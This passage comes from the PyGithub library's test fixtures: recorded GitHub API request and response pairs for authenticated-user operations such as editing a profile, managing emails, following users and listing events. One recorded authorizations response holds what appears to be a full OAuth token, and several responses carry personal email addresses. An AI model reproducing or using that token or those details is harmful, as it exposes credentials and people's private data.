PyGithub","html_url":"https://github.com/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","total_private_repos":5,"public_repos":10,"url":"https://api.github.com/users/jacquev6","owned_private_repos":5,"login":"jacquev6","collaborators":0,"email":"Email edited by PyGithub","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","disk_usage":16692,"plan":{"private_repos":5,"collaborators":1,"space":614400,"name":"micro"},"created_at":"2010-07-09T06:10:06Z","name":"Name edited by PyGithub","public_gists":1,"followers":13,"id":327146,"location":"Location edited by PyGithub"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/AuthenticatedUser.testEditWithoutArguments.txt0000644000175100001660000000241014756101563027373 0ustar00runnerdockerhttps PATCH api.github.com None /user {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {} 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4996'), ('content-length', '801'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"811fb4d5df8bae5b1ef7d63537891a1c"'), ('date', 'Tue, 08 May 2012 10:05:35 GMT'), ('content-type', 'application/json; charset=utf-8')] {"private_gists":5,"collaborators":0,"type":"User","bio":"","url":"https://api.github.com/users/jacquev6","public_repos":10,"followers":13,"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","total_private_repos":5,"disk_usage":16692,"plan":{"collaborators":1,"space":614400,"name":"micro","private_repos":5},"html_url":"https://github.com/jacquev6","owned_private_repos":5,"login":"jacquev6","blog":"http://vincent-jacques.net","email":"vincent@vincent-jacques.net","created_at":"2010-07-09T06:10:06Z","company":"Criteo","location":"Paris, France","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","following":24,"name":"Vincent Jacques","public_gists":1,"hireable":false,"id":327146} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/AuthenticatedUser.testEmails.txt0000644000175100001660000000670714756101563024463 0ustar00runnerdockerhttps GET api.github.com None /user/emails {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4934'), ('content-length', '64'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"ea6dacf29569317ccf460b4bb07075e5"'), ('date', 'Sun, 20 May 2012 12:41:39 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"email": "vincent@vincent-jacques.net", "primary": true, "verified": true, "visibility": "private"}, {"email": "github.com@vincent-jacques.net", "primary": false, "verified": true, "visibility": null}] https POST api.github.com None /user/emails {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"emails": ["1@foobar.com", "2@foobar.com"]} 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4933'), ('content-length', '94'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"8efae10ea5e433b0d68201389058e4ee"'), ('date', 'Sun, 20 May 2012 12:41:40 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"email": "vincent@vincent-jacques.net", "primary": true, "verified": true, "visibility": "private"}, {"email": "1@foobar.com", "primary": false, "verified": false, "visibility": null}, {"email": "2@foobar.com", "primary": false, "verified": false, "visibility": null}, {"email": "github.com@vincent-jacques.net", "primary": false, "verified": true, "visibility": null}] https GET api.github.com None /user/emails {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('content-length', '94'), ('x-ratelimit-remaining', '4932'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"8efae10ea5e433b0d68201389058e4ee"'), ('date', 'Sun, 20 May 2012 12:41:41 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"email": "vincent@vincent-jacques.net", "primary": true, "verified": true, "visibility": "private"}, {"email": "1@foobar.com", "primary": false, "verified": false, "visibility": null}, {"email": "2@foobar.com", "primary": false, "verified": false, "visibility": null}, {"email": "github.com@vincent-jacques.net", "primary": false, "verified": true, "visibility": null}] https DELETE api.github.com None /user/emails {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"emails": ["1@foobar.com", "2@foobar.com"]} 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4931'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Sun, 20 May 2012 12:41:41 GMT')] https GET api.github.com None /user/emails {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4930'), ('content-length', '64'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"ea6dacf29569317ccf460b4bb07075e5"'), ('date', 'Sun, 20 May 2012 12:41:42 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"email": "vincent@vincent-jacques.net", "primary": true, "verified": true, "visibility": "private"}, {"email": "github.com@vincent-jacques.net", "primary": false, "verified": true, "visibility": null}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/AuthenticatedUser.testFollowing.txt0000644000175100001660000003520514756101563025204 0ustar00runnerdockerhttps GET api.github.com None /users/nvie {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4997'), ('content-length', '598'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1f414bb12fcd22848c2c09e507bd3450"'), ('date', 'Sun, 20 May 2012 12:47:49 GMT'), ('content-type', 'application/json; charset=utf-8')] {"type":"User","avatar_url":"https://secure.gravatar.com/avatar/c5a7f21b46df698f3db31c37ed0cf55a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","company":"3rd Cloud","url":"https://api.github.com/users/nvie","gravatar_id":"c5a7f21b46df698f3db31c37ed0cf55a","followers":297,"public_gists":16,"public_repos":61,"login":"nvie","email":"vincent@3rdcloud.com","hireable":false,"html_url":"https://github.com/nvie","name":"Vincent Driessen","created_at":"2009-05-12T21:19:38Z","location":"Netherlands","bio":null,"id":83844,"following":41,"blog":"http://nvie.com"} https GET api.github.com None /user/following {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('content-length', '7072'), ('x-ratelimit-remaining', '4996'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"7ee97a1de549c0ab507d72d9851d28d2"'), ('date', 'Sun, 20 May 2012 12:47:49 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/users/schacon","avatar_url":"https://secure.gravatar.com/avatar/9375a9529679f1b42b567a640d775e7d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"schacon","gravatar_id":"9375a9529679f1b42b567a640d775e7d","id":70},{"url":"https://api.github.com/users/jamis","avatar_url":"https://secure.gravatar.com/avatar/992fe8c19bbbc27f2b562a9f96efc03d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jamis","gravatar_id":"992fe8c19bbbc27f2b562a9f96efc03d","id":1627},{"url":"https://api.github.com/users/chad","avatar_url":"https://secure.gravatar.com/avatar/77f306388bb6ae00ac0b0401e27cdc99?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"chad","gravatar_id":"77f306388bb6ae00ac0b0401e27cdc99","id":237},{"url":"https://api.github.com/users/unclebob","avatar_url":"https://secure.gravatar.com/avatar/e47a3e81d72676bd497b1cb67f66da97?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"unclebob","gravatar_id":"e47a3e81d72676bd497b1cb67f66da97","id":36901},{"url":"https://api.github.com/users/dabrahams","avatar_url":"https://secure.gravatar.com/avatar/5b45540ae377ec54a071f313b7193a27?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"dabrahams","gravatar_id":"5b45540ae377ec54a071f313b7193a27","id":44065},{"url":"https://api.github.com/users/jnorthrup","avatar_url":"https://secure.gravatar.com/avatar/29222a2dca6dd4cd33790d72ff3f5346?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jnorthrup","gravatar_id":"29222a2dca6dd4cd33790d72ff3f5346","id":73514},{"url":"https://api.github.com/users/brugidou","avatar_url":"https://secure.gravatar.com/avatar/43485eeefd3da3c96a7ea0c7e6b839dc?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"brugidou","gravatar_id":"43485eeefd3da3c96a7ea0c7e6b839dc","id":167633},{"url":"https://api.github.com/users/regisb","avatar_url":"https://secure.gravatar.com/avatar/43d211a7021343f2be236d2b9855b734?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"regisb","gravatar_id":"43d211a7021343f2be236d2b9855b734","id":44319},{"url":"https://api.github.com/users/walidk","avatar_url":"https://secure.gravatar.com/avatar/e251d20766937949a109603ca37bb3be?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"walidk","gravatar_id":"e251d20766937949a109603ca37bb3be","id":734669},{"url":"https://api.github.com/users/tanzilli","avatar_url":"https://secure.gravatar.com/avatar/5d533d287dda8809a5369b65063ef725?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"tanzilli","gravatar_id":"5d533d287dda8809a5369b65063ef725","id":434112},{"url":"https://api.github.com/users/fjardon","avatar_url":"https://secure.gravatar.com/avatar/cb044bd9a9f6548b9a9bae44617c97c7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"fjardon","gravatar_id":"cb044bd9a9f6548b9a9bae44617c97c7","id":121402},{"url":"https://api.github.com/users/r3c","avatar_url":"https://secure.gravatar.com/avatar/9240b01ceef60b45be83aee8637e7043?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"r3c","gravatar_id":"9240b01ceef60b45be83aee8637e7043","id":979446},{"url":"https://api.github.com/users/sdanzan","avatar_url":"https://secure.gravatar.com/avatar/4a1e187f4f22547534a56966f6d8f942?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"sdanzan","gravatar_id":"4a1e187f4f22547534a56966f6d8f942","id":1094967},{"url":"https://api.github.com/users/vineus","avatar_url":"https://secure.gravatar.com/avatar/2d0c93649b7572036335aed380e351e5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"vineus","gravatar_id":"2d0c93649b7572036335aed380e351e5","id":467126},{"url":"https://api.github.com/users/cjuniet","avatar_url":"https://secure.gravatar.com/avatar/197eed5292fd11c0277335c3524ccfd5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"cjuniet","gravatar_id":"197eed5292fd11c0277335c3524ccfd5","id":1233553},{"url":"https://api.github.com/users/gturri","avatar_url":"https://secure.gravatar.com/avatar/ba064e32f068e12bfc87d178179878a5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"gturri","gravatar_id":"ba064e32f068e12bfc87d178179878a5","id":308601},{"url":"https://api.github.com/users/ant9000","avatar_url":"https://secure.gravatar.com/avatar/05c5d147f5decac1213f47007f6e97ed?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ant9000","gravatar_id":"05c5d147f5decac1213f47007f6e97ed","id":803884},{"url":"https://api.github.com/users/asquini","avatar_url":"https://secure.gravatar.com/avatar/ffc7ee9137c7c6859958bd21b724dde1?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"asquini","gravatar_id":"ffc7ee9137c7c6859958bd21b724dde1","id":1159877},{"url":"https://api.github.com/users/claudyus","avatar_url":"https://secure.gravatar.com/avatar/694d276cdabd74c2538838f55d289143?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"claudyus","gravatar_id":"694d276cdabd74c2538838f55d289143","id":509291},{"url":"https://api.github.com/users/jardon-u","avatar_url":"https://secure.gravatar.com/avatar/1b4be24fa7e62eb508ca448da99e43d4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jardon-u","gravatar_id":"1b4be24fa7e62eb508ca448da99e43d4","id":994192},{"url":"https://api.github.com/users/s-bernard","avatar_url":"https://secure.gravatar.com/avatar/046dc82526c7cb4c60d8e70c6f4d4615?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"s-bernard","gravatar_id":"046dc82526c7cb4c60d8e70c6f4d4615","id":1468889},{"url":"https://api.github.com/users/kamaradclimber","avatar_url":"https://secure.gravatar.com/avatar/0c43eba4a99f65e071e66e684cea8177?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"kamaradclimber","gravatar_id":"0c43eba4a99f65e071e66e684cea8177","id":503537},{"url":"https://api.github.com/users/Lyloa","avatar_url":"https://secure.gravatar.com/avatar/1517ed584458ccf83e03f5d77d9699d7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"Lyloa","gravatar_id":"1517ed584458ccf83e03f5d77d9699d7","id":1131432},{"url":"https://api.github.com/users/nvie","avatar_url":"https://secure.gravatar.com/avatar/c5a7f21b46df698f3db31c37ed0cf55a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"nvie","gravatar_id":"c5a7f21b46df698f3db31c37ed0cf55a","id":83844}] https GET api.github.com None /user/following/nvie {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4995'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Sun, 20 May 2012 12:47:50 GMT')] https DELETE api.github.com None /user/following/nvie {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4994'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Sun, 20 May 2012 12:47:51 GMT')] https GET api.github.com None /user/following/nvie {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 404 [('status', '404 Not Found'), ('x-ratelimit-remaining', '4993'), ('content-length', '23'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"e66a7a6c91e2c26803f3f49feb7a883f"'), ('date', 'Sun, 20 May 2012 12:47:51 GMT'), ('content-type', 'application/json; charset=utf-8')] {"message":"Not Found"} https PUT api.github.com None /user/following/nvie {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4992'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Sun, 20 May 2012 12:47:52 GMT')] https GET api.github.com None /user/following/nvie {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4991'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Sun, 20 May 2012 12:47:52 GMT')] https GET api.github.com None /user/followers {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4990'), ('content-length', '3849'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"f99f2d634d4429def3c7fae66ead9cb9"'), ('date', 'Sun, 20 May 2012 12:47:53 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/users/jnorthrup","gravatar_id":"29222a2dca6dd4cd33790d72ff3f5346","avatar_url":"https://secure.gravatar.com/avatar/29222a2dca6dd4cd33790d72ff3f5346?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jnorthrup","id":73514},{"url":"https://api.github.com/users/brugidou","gravatar_id":"43485eeefd3da3c96a7ea0c7e6b839dc","avatar_url":"https://secure.gravatar.com/avatar/43485eeefd3da3c96a7ea0c7e6b839dc?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"brugidou","id":167633},{"url":"https://api.github.com/users/regisb","gravatar_id":"43d211a7021343f2be236d2b9855b734","avatar_url":"https://secure.gravatar.com/avatar/43d211a7021343f2be236d2b9855b734?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"regisb","id":44319},{"url":"https://api.github.com/users/walidk","gravatar_id":"e251d20766937949a109603ca37bb3be","avatar_url":"https://secure.gravatar.com/avatar/e251d20766937949a109603ca37bb3be?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"walidk","id":734669},{"url":"https://api.github.com/users/afzalkhan","gravatar_id":"8e85398b116be75d4baeeddfc9c3cce1","avatar_url":"https://secure.gravatar.com/avatar/8e85398b116be75d4baeeddfc9c3cce1?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"afzalkhan","id":1003845},{"url":"https://api.github.com/users/sdanzan","gravatar_id":"4a1e187f4f22547534a56966f6d8f942","avatar_url":"https://secure.gravatar.com/avatar/4a1e187f4f22547534a56966f6d8f942?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"sdanzan","id":1094967},{"url":"https://api.github.com/users/vineus","gravatar_id":"2d0c93649b7572036335aed380e351e5","avatar_url":"https://secure.gravatar.com/avatar/2d0c93649b7572036335aed380e351e5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"vineus","id":467126},{"url":"https://api.github.com/users/gturri","gravatar_id":"ba064e32f068e12bfc87d178179878a5","avatar_url":"https://secure.gravatar.com/avatar/ba064e32f068e12bfc87d178179878a5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"gturri","id":308601},{"url":"https://api.github.com/users/fjardon","gravatar_id":"cb044bd9a9f6548b9a9bae44617c97c7","avatar_url":"https://secure.gravatar.com/avatar/cb044bd9a9f6548b9a9bae44617c97c7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"fjardon","id":121402},{"url":"https://api.github.com/users/cjuniet","gravatar_id":"197eed5292fd11c0277335c3524ccfd5","avatar_url":"https://secure.gravatar.com/avatar/197eed5292fd11c0277335c3524ccfd5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"cjuniet","id":1233553},{"url":"https://api.github.com/users/jardon-u","gravatar_id":"1b4be24fa7e62eb508ca448da99e43d4","avatar_url":"https://secure.gravatar.com/avatar/1b4be24fa7e62eb508ca448da99e43d4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jardon-u","id":994192},{"url":"https://api.github.com/users/kamaradclimber","gravatar_id":"0c43eba4a99f65e071e66e684cea8177","avatar_url":"https://secure.gravatar.com/avatar/0c43eba4a99f65e071e66e684cea8177?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"kamaradclimber","id":503537},{"url":"https://api.github.com/users/L42y","gravatar_id":"4dc11d87759273f3466ab4f673bcecae","avatar_url":"https://secure.gravatar.com/avatar/4dc11d87759273f3466ab4f673bcecae?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"L42y","id":284820}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/AuthenticatedUser.testGetAuthorizations.txt0000644000175100001660000000151514756101563026724 0ustar00runnerdockerhttps GET api.github.com None /authorizations {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4990'), ('content-length', '384'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"f6052ad2b9941ba0829e326bd76377a3"'), ('date', 'Tue, 22 May 2012 18:31:38 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"scopes":["repo"],"updated_at":"2012-05-22T18:27:36Z","app":{"url":"http://vincent-jacques.net/PyGithub","name":"Note created by PyGithub (API)"},"url":"https://api.github.com/authorizations/372294","token":"b7fd2a0346d9d590b1fad5e10971e8d29637a4ce","note_url":"http://vincent-jacques.net/PyGithub","note":"Note created by PyGithub","created_at":"2012-05-22T18:27:36Z","id":372294}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/AuthenticatedUser.testGetEvents.txt0000644000175100001660000016123114756101563025147 0ustar00runnerdockerhttps GET api.github.com None /events {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4970'), ('content-length', '57490'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next"'), ('etag', '"9260400c8db419d7375cf37a6a89b38e"'), ('date', 'Sat, 26 May 2012 20:10:48 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"type":"PushEvent","payload":{"head":"45dd4d971758b54af0b4138aa54b2a7266a66719","size":2,"push_id":80706714,"commits":[{"sha":"471b65cb6e5b4b57cca494d81a19a7cfecb9dcd7","author":{"name":"Chide","email":"c.groenouwe@ati-a.nl"},"url":"https://api.github.com/repos/swiftgame/SWiFT-fososc/commits/471b65cb6e5b4b57cca494d81a19a7cfecb9dcd7","distinct":true,"message":"added large part of current source code base of SWiFT fososc. More to come!"},{"sha":"45dd4d971758b54af0b4138aa54b2a7266a66719","author":{"name":"Chide","email":"c.groenouwe@ati-a.nl"},"url":"https://api.github.com/repos/swiftgame/SWiFT-fososc/commits/45dd4d971758b54af0b4138aa54b2a7266a66719","distinct":true,"message":"continued..."}],"ref":"refs/heads/master"},"public":true,"repo":{"url":"https://api.github.com/repos/swiftgame/SWiFT-fososc","id":2935425,"name":"swiftgame/SWiFT-fososc"},"created_at":"2012-05-26T20:10:46Z","id":"1556178218","actor":{"gravatar_id":"5866525f1e1a06544aaff0fa4f4f083a","url":"https://api.github.com/users/swiftgame","avatar_url":"https://secure.gravatar.com/avatar/5866525f1e1a06544aaff0fa4f4f083a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1248161,"login":"swiftgame"}},{"type":"IssuesEvent","payload":{"action":"closed","issue":{"number":1,"created_at":"2012-05-23T18:10:30Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"body":"* text\n\n(for now, just keep test passages short!)","title":"passages model","comments":1,"updated_at":"2012-05-26T20:10:46Z","url":"https://api.github.com/repos/unobliged/plymlet/issues/1","id":4717430,"assignee":{"gravatar_id":"8dd3d820658d79bb8cec3afe94c986d5","avatar_url":"https://secure.gravatar.com/avatar/8dd3d820658d79bb8cec3afe94c986d5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/unobliged","id":1250266,"login":"unobliged"},"milestone":{"number":1,"due_on":null,"created_at":"2012-05-25T23:02:34Z","title":"Iteration 1","creator":{"gravatar_id":"3ba9e4f33f3277e20ee649efcf379ab9","avatar_url":"https://secure.gravatar.com/avatar/3ba9e4f33f3277e20ee649efcf379ab9?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/dpaola2","id":150509,"login":"dpaola2"},"url":"https://api.github.com/repos/unobliged/plymlet/milestones/1","id":124261,"open_issues":3,"closed_issues":2,"description":"","state":"open"},"closed_at":"2012-05-26T20:10:46Z","user":{"gravatar_id":"3ba9e4f33f3277e20ee649efcf379ab9","avatar_url":"https://secure.gravatar.com/avatar/3ba9e4f33f3277e20ee649efcf379ab9?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/dpaola2","id":150509,"login":"dpaola2"},"html_url":"https://github.com/unobliged/plymlet/issues/1","labels":[],"state":"closed"}},"public":true,"repo":{"url":"https://api.github.com/repos/unobliged/plymlet","id":4423508,"name":"unobliged/plymlet"},"created_at":"2012-05-26T20:10:46Z","id":"1556178217","actor":{"gravatar_id":"8dd3d820658d79bb8cec3afe94c986d5","url":"https://api.github.com/users/unobliged","avatar_url":"https://secure.gravatar.com/avatar/8dd3d820658d79bb8cec3afe94c986d5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1250266,"login":"unobliged"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-26T20:10:46Z","body":"text has title, author, language, and content","updated_at":"2012-05-26T20:10:46Z","url":"https://api.github.com/repos/unobliged/plymlet/issues/comments/5949286","id":5949286,"user":{"avatar_url":"https://secure.gravatar.com/avatar/8dd3d820658d79bb8cec3afe94c986d5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8dd3d820658d79bb8cec3afe94c986d5","url":"https://api.github.com/users/unobliged","id":1250266,"login":"unobliged"}},"action":"created","issue":{"number":1,"created_at":"2012-05-23T18:10:30Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"title":"passages model","body":"* text\n\n(for now, just keep test passages short!)","comments":1,"updated_at":"2012-05-26T20:10:46Z","url":"https://api.github.com/repos/unobliged/plymlet/issues/1","id":4717430,"assignee":{"avatar_url":"https://secure.gravatar.com/avatar/8dd3d820658d79bb8cec3afe94c986d5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8dd3d820658d79bb8cec3afe94c986d5","url":"https://api.github.com/users/unobliged","id":1250266,"login":"unobliged"},"milestone":{"number":1,"due_on":null,"created_at":"2012-05-25T23:02:34Z","title":"Iteration 1","creator":{"avatar_url":"https://secure.gravatar.com/avatar/3ba9e4f33f3277e20ee649efcf379ab9?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3ba9e4f33f3277e20ee649efcf379ab9","url":"https://api.github.com/users/dpaola2","id":150509,"login":"dpaola2"},"url":"https://api.github.com/repos/unobliged/plymlet/milestones/1","id":124261,"open_issues":3,"closed_issues":2,"description":"","state":"open"},"closed_at":"2012-05-26T20:10:46Z","user":{"avatar_url":"https://secure.gravatar.com/avatar/3ba9e4f33f3277e20ee649efcf379ab9?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3ba9e4f33f3277e20ee649efcf379ab9","url":"https://api.github.com/users/dpaola2","id":150509,"login":"dpaola2"},"html_url":"https://github.com/unobliged/plymlet/issues/1","labels":[],"state":"closed"}},"public":true,"repo":{"url":"https://api.github.com/repos/unobliged/plymlet","id":4423508,"name":"unobliged/plymlet"},"created_at":"2012-05-26T20:10:46Z","id":"1556178216","actor":{"gravatar_id":"8dd3d820658d79bb8cec3afe94c986d5","url":"https://api.github.com/users/unobliged","avatar_url":"https://secure.gravatar.com/avatar/8dd3d820658d79bb8cec3afe94c986d5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1250266,"login":"unobliged"}},{"type":"PushEvent","payload":{"head":"be261259304b3f6361a546ef5ae1809d446216fa","size":1,"push_id":80706711,"commits":[{"sha":"be261259304b3f6361a546ef5ae1809d446216fa","author":{"name":"Ben Hundley","email":"ben.hundley@gmail.com"},"url":"https://api.github.com/repos/FestivalBobcats/newton.js/commits/be261259304b3f6361a546ef5ae1809d446216fa","distinct":true,"message":"having the camera follow the systems center of mass to maintain 